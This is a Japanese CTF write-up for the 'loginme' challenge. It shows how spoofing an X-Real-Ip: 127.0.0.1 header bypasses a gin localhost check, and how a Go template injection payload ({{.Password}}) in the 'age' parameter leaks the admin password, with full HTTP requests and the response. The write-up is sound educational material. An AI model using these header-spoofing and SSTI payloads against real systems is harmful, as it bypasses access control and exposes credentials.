Rating:
## loginme
http://124.71.166.197:18001/
Try to loginme!
## writeup
main.goを見ると`authorized.Use(middleware.LocalRequired())`と書かれている箇所があり,この結果をもとに,localhostからのリクエストか外部からのリクエストか判断しているようです.また,localhostからのアクセス以外は受け付けていません.
そこでmiddleware.goを読みます.
```go
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
```
`c.ClientIP()`の値が`127.0.0.1`かどうかでlocalhostか判断しています.Go ginのドキュメントを読みます.
[https://pkg.go.dev/github.com/gin-gonic/gin#Context.ClientIP](https://pkg.go.dev/github.com/gin-gonic/gin#Context.ClientIP)
するとこのようにかかれています
> ClientIP implements one best effort algorithm to return the real client IP. It called c.RemoteIP() under the hood, to check if the remote IP is a trusted proxy or not. If it is it will then try to parse the headers defined in Engine.RemoteIPHeaders (defaulting to [X-Forwarded-For, X-Real-Ip]). If the headers are not syntactically valid OR the remote IP does not correspond to a trusted proxy, the remote IP (coming form Request.RemoteAddr) is returned.
`X-Real-Ip`でも判断できるようです.そこでHTTPヘッダーを以下のように変更します.
```txt
GET /admin/index?id=0 HTTP/1.1
Host: 124.71.166.197:18001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
X-Real-Ip: 127.0.0.1
Connection: close
```
するとAdminページにつながります.次はAdminのパスワードを入手します.
`route.go`を見ると,`c.GetQuery("age")`で`age`を取得して,`html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)`で表示しています.ここで,GoのtemplateでSSTIができるか考えます.
[https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
このような記述がありました.
> we could even add a {{.Password}} to leak the users password, and take over the account.
よってクエリパラメータを以下のように変更します.
`/admin/index?id=0&age={{.Password}}`
最終的なHTTPヘッダーはこのようになります.
```txt
GET /admin/index?id=0&age={{.Password}} HTTP/1.1
Host: 124.71.166.197:18001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
X-Real-Ip: 127.0.0.1
Connection: close
```
するとフラグが入手できました.
```html
HTTP/1.1 200 OK
Date: Sat, 25 Dec 2021 10:50:40 GMT
Content-Length: 96
Content-Type: text/html; charset=utf-8
Connection: close
<html>
<h1>
Hello Admin
</h1>
<h2>
Your Age: SCTF{E@zy_SIGn_Ch3eR!}
</h2>
</html>
```
**SCTF{E@zy_SIGn_Ch3eR!}**